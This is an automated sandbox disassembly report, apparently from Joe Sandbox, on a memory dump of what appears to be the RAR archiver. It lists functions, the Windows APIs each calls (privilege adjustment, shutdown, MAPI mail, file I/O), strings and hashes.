Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction ID: 0b9344d562f7211d9c3a7ce3a022a0306522d1a6bca8dc7a7ef2c1ddcba796b0
Opcode Fuzzy Hash: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction Fuzzy Hash: 1EC17A26A19B8286EB20DF21E8542A977E0FB85B98F4440B5DE4EC7799DF3CE546C700

Function 00007FF69A42B57C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF69A42B593
OpenProcessToken.ADVAPI32 ref: 00007FF69A42B5A6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF69A42B5BE
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF69A42B5EF
ExitWindowsEx.USER32 ref: 00007FF69A42B602
ExitWindowsEx.USER32 ref: 00007FF69A42B637

Strings

SeShutdownPrivilege, xrefs: 00007FF69A42B5B7

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ExitProcessTokenWindows$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3729174658-3733053543
Opcode ID: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction ID: 510eb6bae4c3be4e0e6eb7e8ce36962fd380a4bbc0de1d0f67b486362ba87598
Opcode Fuzzy Hash: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction Fuzzy Hash: 71216375A1864286F7B09B21E45937E73E1EB85F44F6050B5EA4EC6658CF3EE44A8700

Function 00007FF69A3FE21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF69A3E2014), ref: 00007FF69A3FE298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF69A3E2014), ref: 00007FF69A3FE2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF69A3E2014), ref: 00007FF69A3FE2F7

Part of subcall function 00007FF69A3FEF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF69A3FEE47), ref: 00007FF69A3FEF73
Part of subcall function 00007FF69A3FEF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF69A3FEE47), ref: 00007FF69A3FEF84
Part of subcall function 00007FF69A3FEF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF69A3FEFA7
Part of subcall function 00007FF69A3FEF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF69A3FEFCA
Part of subcall function 00007FF69A3FEF50: GetLastError.KERNEL32 ref: 00007FF69A3FEFD4
Part of subcall function 00007FF69A3FEF50: CloseHandle.KERNEL32 ref: 00007FF69A3FEFE7

DeviceIoControl.KERNEL32 ref: 00007FF69A3FE357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF69A3E2014), ref: 00007FF69A3FE362

Strings

SeBackupPrivilege, xrefs: 00007FF69A3FE27E

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: 245c406ab3147a6cacbc0d77b24bc7d889d0f755fa181aaf30a3a8afd79ae1ad
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: 8561AF32A186818AF7349B21E4552B933E0FB48B98F5042BEEB6ED66D4DF3CE545D700

Function 00007FF69A41AF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF69A41AFA0

Part of subcall function 00007FF69A42B6D0: Sleep.KERNEL32(?,?,?,?,00007FF69A3FCBED,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A42B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A41B185
new.LIBCMT ref: 00007FF69A41B18F

Strings

%ls%0*u.rev, xrefs: 00007FF69A41B170
, xrefs: 00007FF69A41B2B6

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: f5880cced479fe1795b029d12895a0fb1c2bb5479e69c55e6c9ed3f87b6ea043
Instruction ID: 60bce28255412f4e649183de90752ef7a162af8cc30670ae4385f120dde87d24
Opcode Fuzzy Hash: f5880cced479fe1795b029d12895a0fb1c2bb5479e69c55e6c9ed3f87b6ea043
Instruction Fuzzy Hash: 1502E232A046928AEB30DF25D8486BD77E5FB99B84F4101B5DE5D87799DE3CE442C700

Function 00007FF69A3E49B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF69A3E4BD8

Part of subcall function 00007FF69A42B6D0: Sleep.KERNEL32(?,?,?,?,00007FF69A3FCBED,?,00000000,?,00007FF69A427A8C), ref: 00007FF69A42B730

Part of subcall function 00007FF69A401E80: CreateFileW.KERNELBASE ref: 00007FF69A401F4A
Part of subcall function 00007FF69A401E80: GetLastError.KERNEL32 ref: 00007FF69A401F59
Part of subcall function 00007FF69A401E80: CreateFileW.KERNELBASE ref: 00007FF69A401F99
Part of subcall function 00007FF69A401E80: GetLastError.KERNEL32 ref: 00007FF69A401FA2
Part of subcall function 00007FF69A401E80: SetFileTime.KERNEL32 ref: 00007FF69A401FF1

Strings

%12s %s, xrefs: 00007FF69A3E4E58
%12s %s, xrefs: 00007FF69A3E4E8E
, xrefs: 00007FF69A3E4F01
%s, xrefs: 00007FF69A3E4EAF

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: ba45724a170e408e76c829c60de67d83593fbeaf5c284933ce6980083859298c
Instruction ID: e4545175be8514fdff221354f95a50924d78b3cad35c4646acb46823d345ab31
Opcode Fuzzy Hash: ba45724a170e408e76c829c60de67d83593fbeaf5c284933ce6980083859298c
Instruction Fuzzy Hash: A5F19C22B09A8686EA70DB12D4402BE73E1FB89B84F5444FADA4DC7786DF3DD955C700

Function 00007FF69A444C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF69A444C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF69A444CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF69A444CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF69A444D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF69A444D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF69A444D2A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: 1cd3013a4c8faf4a4b1ae75b91f5a6eab02a705a2b04ca574c806b70ec72d751
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: 01314C36618F818ADB70CF25E8412AE73E4FB89B58F5401B5EA9D87B99DF38D145CB00

Function 00007FF69A3FEF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF69A3FEE47), ref: 00007FF69A3FEF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF69A3FEE47), ref: 00007FF69A3FEF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF69A3FEFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF69A3FEFCA
GetLastError.KERNEL32 ref: 00007FF69A3FEFD4
CloseHandle.KERNEL32 ref: 00007FF69A3FEFE7

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: 0aff9e60fcc5168db1fa131f7b91a016f692616625f331cc9773f7c2e9d58aa9
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: 0B113036618B4186E7608F21F44456A77E4FBC9F84F5555BAEA8EC3628DF3CD005CB40

Function 00007FF69A3E42E0 Relevance: 6.3, APIs: 4, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A3E72C4: new.LIBCMT ref: 00007FF69A3E73DE

Part of subcall function 00007FF69A3E8010: SetLastError.KERNEL32 ref: 00007FF69A3E803D

new.LIBCMT ref: 00007FF69A3E448C
new.LIBCMT ref: 00007FF69A3E44C5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF69A3E4573
_CxxThrowException.LIBVCRUNTIME ref: 00007FF69A3E4584

Part of subcall function 00007FF69A3FCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF69A3FCEDE

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ExceptionThrow$ErrorLaststd::bad_alloc::bad_alloc
String ID:
API String ID: 3116915952-0
Opcode ID: 0d49e5e1870b6e2cd32107f7c0a4bbc3c1d275d8719a69b3e60c906fddd00a3c
Instruction ID: 18e4d00d22030d99005778de156b8cb945f6b1dafbb1b1d67413f865e467c64b
Opcode Fuzzy Hash: 0d49e5e1870b6e2cd32107f7c0a4bbc3c1d275d8719a69b3e60c906fddd00a3c
Instruction Fuzzy Hash: 6EE16E22A18A8682EA30EB25E4505FD73E1FB89B84F5540F6DE4DC7796DE39E905C700

Function 00007FF69A403A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF69A4011B0,?,?,?,00000000,?,?,00007FF69A3FF30F,00000000,00007FF69A3E6380,?,00007FF69A3E2EC8), ref: 00007FF69A403AC4
CreateFileW.KERNEL32(?,?,?,00007FF69A4011B0,?,?,?,00000000,?,?,00007FF69A3FF30F,00000000,00007FF69A3E6380,?,00007FF69A3E2EC8), ref: 00007FF69A403B0A
DeviceIoControl.KERNEL32 ref: 00007FF69A403B55
CloseHandle.KERNEL32(?,?,?,00007FF69A4011B0,?,?,?,00000000,?,?,00007FF69A3FF30F,00000000,00007FF69A3E6380,?,00007FF69A3E2EC8), ref: 00007FF69A403B60

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: 4566933cc88c5b4649eb0bdf2032a1763a3afd74f1ec0689b6add1ef3c27b7dc
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: 7F31A136618B8086E7708F11B44469AB7E4FB89BF4F010275EAA993BD8CF3CD4558B00

Function 00007FF69A3E8884 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF69A3E8D2A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 692117ba37696853c3eb7719182859ca18d07d81e1248deabc0defdb2174d0ba
Instruction ID: 6c6b1aacc031529cf0edede90031124f01b8fb712732304453f3ab9daa8f9c1e
Opcode Fuzzy Hash: 692117ba37696853c3eb7719182859ca18d07d81e1248deabc0defdb2174d0ba
Instruction Fuzzy Hash: DDD1BF62A1869282EA30EB25E4501BD73E1FF95B80F6446F5DA9EC76D5DE3CE941C300

Function 00007FF69A4486D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A448704

Part of subcall function 00007FF69A444E3C: GetCurrentProcess.KERNEL32(00007FF69A449CC5), ref: 00007FF69A444E69

Strings

., xrefs: 00007FF69A448B24
*?, xrefs: 00007FF69A44872B

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction ID: aaac96cce1adfb60730f1d3fdca3935ff2ab87dc3f9d446063419a09c46a0441
Opcode Fuzzy Hash: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction Fuzzy Hash: E251BE62F15B9685EB20DFA298104AD77E4FB58FD8B4445B2DE1D97B89EF3CE0428301

Function 00007FF69A42B340 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF69A42B39A
CheckTokenMembership.ADVAPI32 ref: 00007FF69A42B3B1
FreeSid.ADVAPI32 ref: 00007FF69A42B3C2

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction ID: 63127c6714b977a0797b16ff183bba0a9115af4158c31ef2f11bfb9035c432c7
Opcode Fuzzy Hash: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction Fuzzy Hash: 15111972B14A418EEB208FB5E4912AE77B0FB48B48F40157ADA8E93B58DF3CD145CB00

Function 00007FF69A3FCAFC Relevance: 3.0, APIs: 2, Instructions: 27windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF69A3FCDE2), ref: 00007FF69A3FCB11
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,00007FF69A3FCDE2), ref: 00007FF69A3FCB3B

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

